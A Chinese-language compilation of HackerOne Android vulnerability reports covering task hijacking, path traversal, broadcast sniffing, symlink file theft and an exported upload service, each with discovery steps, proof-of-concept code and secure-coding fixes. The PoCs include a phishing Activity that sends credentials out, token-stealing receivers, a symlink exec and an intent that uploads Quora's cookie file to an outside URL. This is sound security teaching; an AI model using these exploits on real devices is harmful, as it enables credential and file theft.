com.reddit.frontpage)进行静态分析,重点检查其AndroidManifest.xml文件。
- 目标应用分析: 攻击者首先对目标应用(如
- 识别脆弱配置: 寻找应用中作为入口点或关键功能(如登录、支付)的
Activity组件。该漏洞的关键在于这些Activity是否显式地设置了android:taskAffinity属性。如果未设置,系统会默认使用应用的包名作为taskAffinity。
- 识别脆弱配置: 寻找应用中作为入口点或关键功能(如登录、支付)的
- 构建恶意应用(PoC): 攻击者开发一个恶意的Android应用(PoC),该应用包含一个或多个恶意
Activity(例如,一个伪造的登录界面)。
- 构建恶意应用(PoC): 攻击者开发一个恶意的Android应用(PoC),该应用包含一个或多个恶意
- 设置劫持属性: 在恶意应用的
AndroidManifest.xml中,将恶意Activity的android:taskAffinity属性显式设置为目标应用的包名,例如android:taskAffinity="com.reddit.frontpage"。
- 设置劫持属性: 在恶意应用的
- 触发攻击:
- 受害者安装并启动恶意应用(即使只是在后台运行)。
- 当受害者随后尝试启动合法的目标应用时,Android系统会根据
taskAffinity匹配原则,将恶意Activity插入到目标应用的Task栈的顶部。
- 当受害者随后尝试启动合法的目标应用时,Android系统会根据
- 此时,用户看到的界面是恶意应用伪造的界面(例如,一个要求重新登录的界面),但它看起来像是从合法应用中启动的。
- 触发攻击:
关键发现点:
taskAffinity的默认值: 发现许多应用开发者没有意识到或忽略了taskAffinity的默认值(即应用包名)可能带来的安全风险。
- 无需权限: 这种攻击不需要任何特殊的Android权限,也不需要Root权限,这使得攻击的门槛极低。
- 钓鱼效率高: 恶意界面是在用户主动点击合法应用图标后显示的,极大地提高了用户的信任度,从而更容易窃取凭证。
这种挖掘方法的核心在于利用Android系统设计中对taskAffinity的默认处理逻辑,通过静态分析识别目标应用的配置缺陷,并构造一个具有相同taskAffinity的恶意组件来实现任务劫持。
(字数:390字)
技术细节
任务劫持(StrandHogg)攻击的技术核心在于恶意应用通过设置其Activity的android:taskAffinity属性来匹配目标应用的包名,从而劫持目标应用的Task栈。
关键配置(恶意应用 AndroidManifest.xml):
恶意应用必须声明一个Activity,并将其taskAffinity设置为目标应用的包名。例如,针对com.reddit.frontpage的劫持配置如下:
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.malicious.app">
<application ...>
<!-- 恶意 Activity,其 taskAffinity 设置为目标应用的包名 -->
<activity
android:name=".PhishingActivity"
android:taskAffinity="com.reddit.frontpage"
android:exported="true"
android:launchMode="singleTask">
<!-- 启动恶意 Activity 的 Intent Filter -->
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<!-- ... 其他组件 ... -->
</application>
</manifest>攻击流程和Payload:
- 安装与启动: 受害者安装并启动恶意应用(
com.malicious.app)。恶意应用中的PhishingActivity被启动,并进入后台。
- 安装与启动: 受害者安装并启动恶意应用(
- Task 匹配: 此时,
PhishingActivity所在的Task的taskAffinity被设置为com.reddit.frontpage。
- Task 匹配: 此时,
- 劫持触发: 当受害者点击合法的 Reddit 应用图标时,系统会尝试启动 Reddit 的主
Activity。由于系统发现一个具有相同taskAffinity的Task(即恶意应用的Task)已经存在,它会直接将该Task带到前台。
- 劫持触发: 当受害者点击合法的 Reddit 应用图标时,系统会尝试启动 Reddit 的主
- 显示恶意界面: 恶意应用Task栈顶部的
PhishingActivity(伪造的登录界面)被显示给用户。用户输入凭证后,凭证被恶意应用捕获,从而完成劫持和信息窃取。
- 显示恶意界面: 恶意应用Task栈顶部的
Payload 示例(PhishingActivity.java 伪代码):
PhishingActivity的布局文件会模仿目标应用的登录界面。其Java代码会捕获用户输入并发送给攻击者:
public class PhishingActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.fake_login_layout); // 伪造的登录界面
findViewById(R.id.login_button).setOnClickListener(v -> {
String username = ((EditText) findViewById(R.id.username)).getText().toString();
String password = ((EditText) findViewById(R.id.password)).getText().toString();
// 攻击者窃取凭证的逻辑
sendCredentialsToServer(username, password);
// 欺骗用户,启动真正的目标应用主页
Intent intent = new Intent(Intent.ACTION_MAIN);
intent.setComponent(new ComponentName("com.reddit.frontpage", "com.reddit.frontpage.MainActivity"));
startActivity(intent);
finish();
});
}
// ...
}(字数:378字)
易出现漏洞的代码模式
此类漏洞的根本原因在于Android应用开发者未显式配置或错误配置了Activity的android:taskAffinity属性,导致其默认继承应用包名,从而允许恶意应用通过匹配该属性进行任务劫持。
易漏洞代码模式:
- 未设置
taskAffinity的Activity:
当一个Activity在AndroidManifest.xml中未设置android:taskAffinity时,它会默认继承<application>标签中设置的taskAffinity。如果<application>标签也未设置,则默认使用应用的包名作为taskAffinity。<!-- 易受攻击的配置:未设置 taskAffinity --> <activity android:name=".MainActivity" android:exported="true" android:launchMode="standard"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity>
- 未设置
- 未设置
taskAffinity的<application>标签:
如果应用层级未设置taskAffinity,所有未显式设置的Activity都将继承应用包名。<!-- 易受攻击的配置:应用层级未设置 taskAffinity --> <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme"> <!-- ... Activity 列表 ... --> </application>
- 未设置
安全加固模式(修复方案):
为了防止任务劫持,开发者应显式地将所有Activity的taskAffinity设置为空字符串"",以确保它们不会与任何其他应用的Task共享亲和性。
- 在
<application>标签中统一设置: 推荐在应用层级设置,以覆盖所有Activity。<!-- 安全配置:在应用层级设置 taskAffinity 为空字符串 --> <application android:taskAffinity="" android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme"> <!-- ... Activity 列表 ... --> </application>
- 在
- 在
<activity>标签中单独设置: 也可以为每个Activity单独设置。<!-- 安全配置:在 Activity 层级设置 taskAffinity 为空字符串 --> <activity android:name=".MainActivity" android:taskAffinity="" android:exported="true" android:launchMode="standard"> <!-- ... --> </activity>
- 在
(字数:372字)
Android 路径遍历 (Path Traversal)
案例:Evernote (报告: https://hackerone.com/reports/1416950)
挖掘手法
本次漏洞挖掘主要针对Evernote Android应用中处理用户上传或下载文件的逻辑,特别是那些可能接受外部输入作为文件路径或文件名的组件。首先,通过APK反编译(如使用Jadx或Ghidra)对应用进行静态分析,重点关注Manifest文件中的导出组件(Exported Components),如Activity、Service和ContentProvider,以及处理文件操作的类。
分析发现,应用内存在一个处理文件附件或下载的逻辑,该逻辑从用户可控的输入(例如Intent中的Extra参数、Deep Link参数或文件重命名功能)中获取文件名或路径片段,并将其直接拼接或用于文件操作,如new File(targetDir, userControlledFilename)。
关键的分析思路是寻找缺乏路径规范化和验证的场景。攻击者可以利用../序列来“跳出”预期的目标目录,从而访问或覆盖应用私有目录之外的文件。为了验证这一点,研究人员构建了一个恶意的Intent或Deep Link,将文件名参数设置为包含路径遍历序列的字符串,例如../../../../data/data/com.evernote.android/files/test.txt。
随后,通过动态调试(如使用Frida或Android Studio Debugger)跟踪文件操作的执行流程,确认在文件系统调用(如File.createNewFile()或FileOutputStream)之前,用户提供的路径是否经过了File.getCanonicalPath()或类似的安全检查。一旦确认应用未正确地对用户输入进行路径规范化或验证,即可构造完整的PoC来证明漏洞的存在,例如尝试覆盖应用私有目录下的配置文件,或在特定条件下实现任意代码执行(RCE)。整个过程是一个静态分析定位可疑点,动态调试验证执行流程的典型Android应用安全审计流程。
技术细节
该漏洞的技术核心在于应用在处理文件路径时,未能正确地对用户提供的文件名进行路径规范化(Path Canonicalization)或边界检查。攻击者可以利用这一点,通过构造包含../(点-点-斜杠)序列的恶意文件名,实现目录穿越,将文件写入到应用预期的沙箱目录之外的任意位置。
攻击流程示例:
- 攻击者构造一个恶意的Intent或Deep Link,其中包含一个指向应用私有目录外的文件路径。
- 恶意Intent被应用内一个导出的(或可被其他应用触发的)组件接收。
- 应用代码(例如处理文件下载或重命名的逻辑)接收到恶意文件名,并执行类似操作:
// 假设 targetDir 是应用的私有缓存目录
File targetDir = new File(context.getCacheDir(), "attachments");
String userControlledFilename = "../../shared_prefs/settings.xml"; // 恶意payload
File outputFile = new File(targetDir, userControlledFilename);
// 此时 outputFile.getAbsolutePath() 可能会指向 /data/data/com.evernote.android/shared_prefs/settings.xml
// 缺乏 File.getCanonicalPath() 检查,导致文件写入到非预期位置
writeFileContent(outputFile, maliciousData);恶意Payload示例:
如果漏洞存在于文件重命名功能,攻击者可以先上传一个合法文件,然后将其重命名为:../../../../data/data/com.evernote.android/shared_prefs/settings.xml
如果漏洞存在于文件下载或Intent处理,攻击者可以构造一个Intent,将Extra参数设置为:
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.evernote.android", "com.evernote.android.filehandler.FileActivity"));
intent.putExtra("filename", "../../../../../data/data/com.evernote.android/files/malicious_file");
// ... 其他必要参数
context.startActivity(intent);通过这种方式,攻击者可以覆盖应用的配置文件、数据库文件,甚至在某些情况下,如果能写入可执行文件并触发执行,可能导致远程代码执行(RCE)。
易出现漏洞的代码模式
此类漏洞的根本原因在于信任了用户提供的文件名或路径片段,并在未进行充分验证的情况下将其用于文件系统操作。
不安全的代码模式(Vulnerable Pattern):
当从外部源(如Intent、Deep Link、网络请求)获取文件名,并直接用于构造文件路径时:
// 假设 user_input_filename = "../../../etc/hosts"
String user_input_filename = intent.getStringExtra("filename");
File baseDir = new File(context.getFilesDir(), "downloads");
File targetFile = new File(baseDir, user_input_filename); // 路径遍历发生
// ... 写入 targetFile安全的修复模式(Secure Pattern):
修复的关键在于使用File.getCanonicalPath()来规范化路径,并确保规范化后的路径仍然位于预期的安全目录(baseDir)内。
String user_input_filename = intent.getStringExtra("filename");
File baseDir = new File(context.getFilesDir(), "downloads");
File targetFile = new File(baseDir, user_input_filename);
// 1. 规范化路径
String canonicalPath = targetFile.getCanonicalPath();
String canonicalBaseDir = baseDir.getCanonicalPath();
// 2. 检查规范化后的路径是否以安全目录为前缀
if (canonicalPath.startsWith(canonicalBaseDir + File.separator)) {
// 路径安全,执行文件操作
// ... 写入 targetFile
} else {
// 路径遍历尝试,拒绝操作
Log.e("Security", "Path Traversal attempt detected: " + user_input_filename);
}这种模式确保了即使输入包含../,最终的文件路径也会被解析并与预期的安全目录进行严格比对,从而有效阻止路径遍历攻击。
Android广播劫持导致信息泄露
案例:Nextcloud (报告: https://hackerone.com/reports/167481)
挖掘手法
该漏洞的挖掘主要基于对Nextcloud安卓应用客户端的静态分析,特别是对其广播通信机制的审查。研究人员首先分析了应用的AndroidManifest.xml文件,识别出应用注册的广播接收器和它们监听的Intent Action。通过审查源代码,特别是FileUploader.java等文件,研究人员发现应用使用全局的、非保护性的广播(如sendStickyBroadcast)来传递文件上传的状态,例如FileUploader.UPLOAD_START和FileUploader.UPLOAD_FINISH。关键的发现点在于,这些广播并未限制接收范围,意味着设备上任何其他应用都可以注册一个具有相同Action的广播接收器来监听这些广播。利用这一发现,研究人员构思了攻击思路:创建一个恶意的安卓应用,该应用包含一个专门用于劫持这些广播的BroadcastReceiver。通过在恶意应用的AndroidManifest.xml中为这个Receiver设置一个极高的优先级(android:priority=”999″),可以确保恶意应用比Nextcloud自身的接收器更早地接收到广播。这样,当Nextcloud广播文件上传的详细信息时,恶意应用就能成功截获包含账户信息、文件路径等敏感数据的Intent,从而导致信息泄露。整个过程不涉及复杂的动态调试或模糊测试,而是依赖于对Android组件通信安全模型的深刻理解和细致的代码审计。
技术细节
漏洞利用的核心技术在于Android的广播(Broadcast)机制和意图过滤器(Intent Filter)的优先级设置。攻击者可以构建一个恶意的Android应用,并在其AndroidManifest.xml文件中声明一个导出的(exported=”true”)广播接收器(BroadcastReceiver)。
该接收器的技术实现细节如下:
- 恶意接收器声明:在恶意应用的
AndroidManifest.xml中定义一个receiver,并为其配置一个高优先级的intent-filter。<receiver android:exported="true" android:enabled="true" android:name=".InterceptReceiver"> <intent-filter android:priority="999"> <action android:name="FileUploader.UPLOAD_START"/> <action android:name="FileUploader.UPLOAD_FINISH"/> <action android:name="FileUploader.UPLOADS_ADDED"/> </intent-filter> </receiver>
- 恶意接收器声明:在恶意应用的
- 攻击流程:
a. 攻击者诱导用户安装包含上述恶意接收器的应用。
b. 当用户使用受害的Nextcloud应用上传文件时,FileUploader服务会发送一个全局广播,例如在上传完成时发送FileUploader.UPLOAD_FINISH动作的广播。
c. Android系统在分发这个广播时,会检查所有注册了对应Action的接收器。由于恶意接收器的优先级(999)远高于系统默认优先级(0),系统会优先将这个广播Intent发送给恶意接收器。
d. 恶意接收器的onReceive方法被触发,从而可以从接收到的Intent对象中提取Nextcloud放入的附加数据(Extras),如用户名、服务器地址、本地文件路径、远程文件路径等敏感信息,实现信息窃取。
- 攻击流程:
易出现漏洞的代码模式
容易出现此类漏洞的代码模式是在应用内部组件间通信时,不恰当地使用了全局广播(Context.sendBroadcast() 或 Context.sendStickyBroadcast())来传递敏感数据。这种模式下,广播是系统范围的,任何应用只要声明了相应的Intent Filter,就有可能接收到该广播。
易受攻击的代码模式示例:
// 在文件上传服务中发送广播
// FileUploader.java
public class FileUploader extends Service {
// ...
private void onUploadFinished(UploadResult result) {
Intent intent = new Intent("FileUploader.UPLOAD_FINISH");
intent.putExtra("ACCOUNT_NAME", mAccount.name);
intent.putExtra("FILE_PATH", mLocalPath);
intent.putExtra("REMOTE_URL", result.getRemoteUrl());
// 错误:使用全局广播发送敏感信息
getApplicationContext().sendBroadcast(intent);
}
// ...
}安全的代码模式(修复建议):
为了防止广播被其他应用劫持,应当使用LocalBroadcastManager。它在应用进程内部进行广播,完全隔离于系统全局广播,确保了通信的私密性和安全性。
// 使用LocalBroadcastManager进行安全广播
// FileUploader.java
import androidx.localbroadcastmanager.content.LocalBroadcastManager;
public class FileUploader extends Service {
// ...
private void onUploadFinished(UploadResult result) {
Intent intent = new Intent("FileUploader.UPLOAD_FINISH");
intent.putExtra("ACCOUNT_NAME", mAccount.name);
intent.putExtra("FILE_PATH", mLocalPath);
intent.putExtra("REMOTE_URL", result.getRemoteUrl());
// 正确:使用LocalBroadcastManager在应用内部发送广播
LocalBroadcastManager.getInstance(getApplicationContext()).sendBroadcast(intent);
}
// ...
}同时,接收器也需要通过LocalBroadcastManager进行注册,而不是在AndroidManifest.xml中静态声明,从而确保只有应用内部的组件能接收到广播。
Android未受保护的隐式广播敏感信息泄露
案例:Shopify Android Client (报告: https://hackerone.com/reports/56002)
挖掘手法
漏洞的发现和挖掘主要集中在对目标应用(Shopify Android客户端)的组件间通信(IPC)机制进行静态和动态分析。研究人员首先通过逆向工程或代码审计,识别出应用内部用于传递网络请求响应数据的关键组件和通信方式。
分析思路和关键发现点:
- 识别敏感数据传输: 发现应用在处理完API请求后,会通过某种机制将包含敏感信息(如
access_token、cookie、响应体等)的响应数据在应用内部传递。
- 识别敏感数据传输: 发现应用在处理完API请求后,会通过某种机制将包含敏感信息(如
- 确定通信机制: 发现应用使用了Android的隐式广播(Implicit Broadcast)机制进行这种“应用内”通信,广播的
Action为com.shopify.service.requestComplete。
- 确定通信机制: 发现应用使用了Android的隐式广播(Implicit Broadcast)机制进行这种“应用内”通信,广播的
- 权限检查: 关键在于检查该隐式广播是否受到权限保护。通过分析发现,该广播未设置任何权限(
android:permission),这意味着系统上安装的任何第三方应用都可以注册一个BroadcastReceiver来监听这个特定的Action。
- 权限检查: 关键在于检查该隐式广播是否受到权限保护。通过分析发现,该广播未设置任何权限(
- 漏洞验证(PoC构建):
- 攻击者构建一个恶意的PoC Android应用(APK)。
- 该PoC应用在其
AndroidManifest.xml中注册一个BroadcastReceiver,并设置IntentFilter来监听com.shopify.service.requestComplete这个Action。
- 该PoC应用在其
- PoC应用被安装后,在后台静默运行,无需任何特殊权限或用户交互。
- 当用户打开并登录Shopify客户端时,PoC应用会静默地劫持到Shopify应用发出的包含用户
admin_cookie和access_token等敏感信息的广播Intent。
- 当用户打开并登录Shopify客户端时,PoC应用会静默地劫持到Shopify应用发出的包含用户
- PoC应用在
onReceive()方法中提取并记录这些敏感数据(例如,通过adb logcat -s SHOPIFYHACK:V命令打印到日志,或发送到远程服务器)。
- PoC应用在
- 漏洞验证(PoC构建):
整个过程的关键在于识别出“应用内通信”机制被错误地使用了“全局广播”,且缺乏必要的权限保护,从而实现了跨应用的数据窃取。
技术细节
漏洞利用的技术细节在于恶意应用如何注册并接收Shopify应用发出的包含敏感数据的Intent广播。
攻击流程:
- 恶意应用注册广播接收器: 攻击者在恶意应用的
AndroidManifest.xml中声明一个BroadcastReceiver,并配置IntentFilter来监听目标Action。<receiver android:name=".SensitiveDataReceiver" android:exported="true"> <intent-filter> <!-- 监听Shopify应用发出的网络请求完成广播 --> <action android:name="com.shopify.service.requestComplete" /> </intent-filter> </receiver>
- 恶意应用注册广播接收器: 攻击者在恶意应用的
- 接收器代码(概念PoC): 恶意应用中的
SensitiveDataReceiver类实现onReceive方法,用于从接收到的Intent中提取敏感数据。public class SensitiveDataReceiver extends BroadcastReceiver { private static final String TAG = "SHOPIFYHACK";@Override public void onReceive(Context context, Intent intent) { if ("com.shopify.service.requestComplete".equals(intent.getAction())) { // 提取Intent中包含的敏感数据,例如access_token和cookie String accessToken = intent.getStringExtra("access_token"); String adminCookie = intent.getStringExtra("admin_cookie"); // 打印到Logcat或发送到远程服务器 Log.v(TAG, "!!! STOLEN ACCESS TOKEN: " + accessToken); Log.v(TAG, "!!! STOLEN ADMIN COOKIE: " + adminCookie); // 报告中提到的Logcat命令:adb logcat -s SHOPIFYHACK:V } }}
- 接收器代码(概念PoC): 恶意应用中的
关键技术点:
- Shopify应用在
com/shopify/service/netcomm/NetworkService中发送了一个隐式Intent,其中包含API响应数据作为Extra。
- Shopify应用在
- 由于该广播没有通过
android:permission属性进行保护,任何应用都可以通过上述方式注册接收器,实现广播嗅探(Broadcast Sniffing),从而窃取用户会话凭证。
- 由于该广播没有通过
易出现漏洞的代码模式
此类漏洞的根本原因在于错误地使用了隐式广播进行应用内敏感数据通信,且未设置权限保护。
易漏洞代码模式(Shopify应用中的问题模式):
- 使用隐式
Intent进行应用内通信: 当一个Intent仅用于应用内部组件通信时,如果使用隐式Intent(即通过Action匹配)且不指定包名,系统会将其视为一个可以被所有应用接收的全局广播。// 错误示例:发送一个全局隐式广播,包含敏感数据 Intent intent = new Intent("com.shopify.service.requestComplete"); intent.putExtra("access_token", userToken); // 敏感数据 context.sendBroadcast(intent);
- 使用隐式
- 未对广播设置权限保护: 在
AndroidManifest.xml中,发送或接收敏感广播的组件没有通过android:permission属性进行签名级权限限制。<!-- 错误配置:未设置android:permission属性,导致任何应用都能接收 --> <receiver android:name=".BaseRequestDelegate$RequestCompletionBroadcastReceiver$1"> <intent-filter> <action android:name="com.shopify.service.requestComplete" /> </intent-filter> </receiver>
- 未对广播设置权限保护: 在
安全代码模式(修复建议):
- 使用
LocalBroadcastManager: 对于仅限应用内部的通信,应使用LocalBroadcastManager(或在AndroidX中推荐使用ViewModel/LiveData等替代方案),它确保广播不会离开应用进程。// 安全示例 1:使用LocalBroadcastManager Intent localIntent = new Intent("com.shopify.service.requestComplete"); localIntent.putExtra("access_token", userToken); LocalBroadcastManager.getInstance(context).sendBroadcast(localIntent);
- 使用
- 使用签名级权限保护: 如果必须使用全局广播,则应使用签名级权限(
signaturelevel permission)来限制只有与目标应用使用相同证书签名的应用才能接收。<!-- 安全配置 2:定义签名级权限 --> <permission android:name="com.shopify.permission.RECEIVE_REQUEST_COMPLETE" android:protectionLevel="signature" /> <!-- 接收器和发送者都必须声明和使用此权限 --> <receiver android:name=".BaseRequestDelegate$RequestCompletionBroadcastReceiver$1" android:permission="com.shopify.permission.RECEIVE_REQUEST_COMPLETE"> <!-- ... intent-filter ... --> </receiver>
- 使用签名级权限保护: 如果必须使用全局广播,则应使用签名级权限(
Android组件导出漏洞结合路径遍历和符号链接攻击实现任意文件窃取
案例:IRCCloud (报告: https://hackerone.com/reports/288955)
挖掘手法
该漏洞的挖掘手法是典型的Android组件安全分析与文件操作逻辑绕过相结合。
首先,分析人员识别出目标应用IRCCloud Android中存在一个被导出的(android:exported="true",通过intent-filter隐式导出)Activity:com.irccloud.android.activity.ShareChooserActivity。该Activity被设计用于接收来自第三方应用的分享文件Intent(android.intent.action.SEND或android.intent.action.VIEW),这表明它会处理外部传入的Uri数据。
接着,分析人员深入研究了该Activity处理传入文件URI的逻辑。发现应用会从Intent中获取android.intent.extra.STREAM字段的URI,并调用MainActivity.makeTempCopy(this.mUri, this)方法将URI指向的文件复制到应用自身的缓存目录(/data/data/com.irccloud.android/cache/)。
关键发现点在于makeTempCopy方法中目标文件名的生成和使用逻辑:
- 目标文件名可控(路径遍历):目标文件名
original_filename是通过传入URI的getLastPathSegment()获取的。更重要的是,该方法在内部对这个路径片段进行了URL解码。这使得攻击者可以通过构造包含URL编码的路径遍历序列(如..%2F)的URI,来控制文件复制的最终目标路径,使其超出应用缓存目录,指向如SD卡等公共可读写的位置。
- 目标文件名可控(路径遍历):目标文件名
- 源文件可控(符号链接攻击):攻击者利用自身应用创建的符号链接(Symlink)来绕过Android的文件权限限制。攻击者首先在自己的应用私有目录下创建一个文件URI(例如
file:///data/data/com.attacker/x/x/x/x/sumlink),并确保sumlink是一个指向受害者应用私有文件(例如包含会话密钥的/data/data/com.irccloud.android/shared_prefs/prefs.xml)的符号链接。当IRCCloud应用尝试通过getContentResolver().openInputStream(fileUri)读取攻击者提供的URI时,由于URI指向的是攻击者应用目录下的符号链接,系统会跟随该链接,最终读取到IRCCloud的私有文件内容。
- 源文件可控(符号链接攻击):攻击者利用自身应用创建的符号链接(Symlink)来绕过Android的文件权限限制。攻击者首先在自己的应用私有目录下创建一个文件URI(例如
通过结合这两个漏洞点,攻击者成功构造了一个PoC,诱导IRCCloud应用读取其私有文件(通过符号链接),然后将该私有文件的内容写入到攻击者可控的公共目录(通过路径遍历),从而实现了任意文件的窃取,特别是泄露了用户的session_key。整个挖掘过程体现了对Android组件交互、文件I/O操作和URI处理细节的深刻理解。
(字数:450字)
技术细节
该漏洞利用的核心在于结合了符号链接(Symlink)和URL解码后的路径遍历(Path Traversal)。
1. 漏洞触发点和利用流程
攻击者通过一个恶意的Activity(PoC应用)向目标应用的导出Activity com.irccloud.android.activity.ShareChooserActivity发送一个包含恶意构造URI的Intent。
- 目标文件路径构造(路径遍历):
攻击者构造一个包含URL编码的路径遍历序列的字符串,作为目标文件名的路径片段。// path to sdcard (encoded relative path from "/data/data/com.irccloud.android/cache/") String zhk = "..%2F..%2F..%2F..%2Fsdcard%2Fprefs.xml";当目标应用调用Uri.fromFile(new File(context.getCacheDir(), original_filename))时,original_filename(即zhk解码后的../../../../sdcard/prefs.xml)将导致文件被写入到/sdcard/prefs.xml,这是一个公共可访问的目录。
- 目标文件路径构造(路径遍历):
- 源文件路径构造(符号链接):
攻击者在自己的应用私有目录(/data/data/com.attacker/)下创建一个符号链接,指向目标应用(IRCCloud)的私有文件(/data/data/com.irccloud.android/shared_prefs/prefs.xml)。// 目标私有文件:/data/data/com.irccloud.android/shared_prefs/prefs.xml // 攻击者应用内的符号链接路径:/data/data/com.attacker/x/x/x/x/sumlink Runtime.getRuntime().exec("ln -s /data/data/com.irccloud.android/shared_prefs/prefs.xml " + sumlinkFile.getAbsolutePath()).waitFor(); // 构造指向符号链接的file URI Uri uri = Uri.parse("file://" + sumlink);
- 源文件路径构造(符号链接):
- Intent发送:
java Intent intent = new Intent(); intent.setClassName("com.irccloud.android", "com.irccloud.android.activity.ShareChooserActivity"); intent.putExtra("android.intent.extra.STREAM", uri); // 传入指向符号链接的URI startActivity(intent);
- Intent发送:
2. 目标应用中的漏洞代码
目标应用在处理文件复制时,执行了以下关键步骤:
- 读取源文件(跟随符号链接):
// fileUri 是攻击者提供的指向符号链接的URI InputStream is = IRCCloudApplication.getInstance().getApplicationContext().getContentResolver().openInputStream(fileUri); // openInputStream 自动跟随符号链接,成功读取到目标应用的 prefs.xml 内容
- 读取源文件(跟随符号链接):
- 写入目标文件(路径遍历):
java // original_filename = "../../../../sdcard/prefs.xml" Uri out = Uri.fromFile(new File(context.getCacheDir(), original_filename)); // context.getCacheDir() = /data/data/com.irccloud.android/cache/ // 最终写入路径:/data/data/com.irccloud.android/cache/../../../../sdcard/prefs.xml -> /sdcard/prefs.xml OutputStream os = IRCCloudApplication.getInstance().getApplicationContext().getContentResolver().openOutputStream(out); // ... 文件内容被复制到 /sdcard/prefs.xml
通过这种方式,IRCCloud的私有文件内容被复制到了公共可读写的SD卡目录,实现了敏感信息(session_key)的窃取。
- 写入目标文件(路径遍历):
(字数:470字)
易出现漏洞的代码模式
此类漏洞的出现通常是由于Android应用中以下编程模式和配置的组合:
1. 导出的组件配置(Manifest)
当一个应用组件(如Activity、Service、Content Provider)被导出,且没有进行适当的权限控制时,它可能被任何外部应用调用。
<activity android:name="com.example.VulnerableActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="*/*"/>
</intent-filter>
</activity>2. 不安全的URI/文件名处理
在处理外部传入的URI时,直接使用URI的路径片段作为目标文件名,并且没有对路径遍历序列(如..)进行严格检查或规范化。
// 错误模式:直接使用getLastPathSegment()作为文件名,且未进行路径规范化检查
// 攻击者可传入包含URL编码的路径遍历序列(如..%2F)
String original_filename = fileUri.getLastPathSegment();
File cacheDir = context.getCacheDir(); // /data/data/com.example.app/cache/
File outFile = new File(cacheDir, original_filename); // 目标路径可被绕过3. 缺乏符号链接检查
在文件复制操作中,如果源文件URI指向的是攻击者可控目录下的符号链接,而应用没有检查或禁止跟随符号链接,则可能被诱导读取任意私有文件。
// 错误模式:未检查fileUri是否指向符号链接或应用私有文件
InputStream is = context.getContentResolver().openInputStream(fileUri);
// 如果fileUri指向一个符号链接,openInputStream会跟随链接读取目标文件4. 正确的防御模式(修复示例)
为了防止此类漏洞,应该采取以下措施:
- 对目标文件名进行严格规范化和白名单检查:确保文件名不包含路径分隔符,并只允许写入到预期的目录。
- 使用随机文件名:不使用用户提供的文件名,而是生成一个随机的、唯一的临时文件名。
- 禁止跟随符号链接:在处理外部文件URI时,应检查文件是否为符号链接,并拒绝处理。
// 修复模式:使用随机文件名,并确保目标路径在安全范围内
String safe_filename = UUID.randomUUID().toString(); // 使用随机文件名
File cacheDir = context.getCacheDir();
File outFile = new File(cacheDir, safe_filename); // 目标路径安全(字数:370字)
Android组件暴露导致任意文件读取/信息泄露
案例:Quora (报告: https://hackerone.com/reports/258460)
挖掘手法
该漏洞的发现基于对目标应用Quora Android版所使用的第三方库的分析。首先,通过逆向工程或查看应用清单文件(AndroidManifest.xml),发现应用中注册了一个名为net.gotev.uploadservice.UploadService的Service组件。关键在于该Service的配置:
<service android:enabled="true" android:exported="true" android:name="net.gotev.uploadservice.UploadService"/>其中,android:exported="true"的设置意味着该Service可以被设备上安装的任何第三方应用调用,这是漏洞利用的前提。
分析思路:
- 组件暴露分析: 识别出
UploadService被exported="true",确认其存在被外部应用调用的风险。
- 组件暴露分析: 识别出
- 功能分析: 确定
UploadService的功能是处理文件上传任务。
- 功能分析: 确定
- 输入控制分析: 进一步分析该Service接收的Intent数据,特别是用于指定上传文件路径和目标服务器URL的参数。
- 路径遍历/文件访问风险确认: 发现攻击者可以通过构造特定的Intent,将本地文件路径(如
/data/data/com.quora.android/app_webview/Cookies)作为上传任务的源文件路径,并指定一个攻击者控制的服务器URL。
- 路径遍历/文件访问风险确认: 发现攻击者可以通过构造特定的Intent,将本地文件路径(如
- PoC构造: 编写一个恶意的第三方应用(PoC APK),该应用包含构造好的Intent,用于调用Quora应用的
UploadService,并尝试窃取敏感文件。
- PoC构造: 编写一个恶意的第三方应用(PoC APK),该应用包含构造好的Intent,用于调用Quora应用的
- 验证: 运行PoC应用,观察目标文件(如Cookies文件)是否成功上传到攻击者指定的服务器,从而确认漏洞的有效性和严重性。
关键发现点:
- 第三方库
gotev/android-upload-service中的Service被错误地设置为exported="true"。
- 第三方库
- 该Service允许外部应用通过Intent传递任意本地文件路径作为上传任务的源文件。
- 利用Android应用沙箱机制的缺陷,可以窃取目标应用私有目录下的敏感文件,如Cookie、设置、授权Token等。
该方法的核心是静态分析(查看AndroidManifest.xml)结合动态验证(构造恶意Intent并执行)。
- 利用Android应用沙箱机制的缺陷,可以窃取目标应用私有目录下的敏感文件,如Cookie、设置、授权Token等。
技术细节
漏洞利用的技术核心在于构造一个恶意的Intent,通过该Intent调用目标应用Quora中暴露的UploadService,并强制其上传应用私有目录下的敏感文件到攻击者控制的服务器。
恶意Intent构造和调用代码片段(Java/Kotlin):
// 1. 构造上传任务参数
UploadTaskParameters params = new UploadTaskParameters();
params.setId("1337");
// 攻击者控制的服务器URL
params.setServerUrl("http://google.com/zaheck");
try {
// 2. 指定要窃取的Quora应用私有文件路径
// 此处以窃取Cookies文件为例
params.addFile(new UploadFile("/data/data/com.quora.android/app_webview/Cookies"));
}
catch(FileNotFoundException e) {
// 忽略文件未找到异常,因为在客户端未进行检查
throw new IllegalStateException(e);
}
// 3. 构造Intent,指定目标Service
Intent intent = new Intent("net.gotev.uploadservice.action.upload");
// 显式指定目标应用包名和Service类名
intent.setClassName("com.quora.android", "net.gotev.uploadservice.UploadService");
// 4. 附加任务参数
intent.putExtra("taskClass", "net.gotev.uploadservice.MultipartUploadTask");
intent.putExtra("multipartUtf8Charset", true);
intent.putExtra("httpTaskParameters", new HttpUploadTaskParameters());
intent.putExtra("taskParameters", params);
// 5. 启动Service,触发文件上传
startService(intent);攻击流程:
- 攻击者开发一个恶意Android应用(PoC)。
- 恶意应用在用户设备上安装并运行。
- 恶意应用执行上述代码,构造包含目标文件路径和攻击者服务器URL的
Intent。
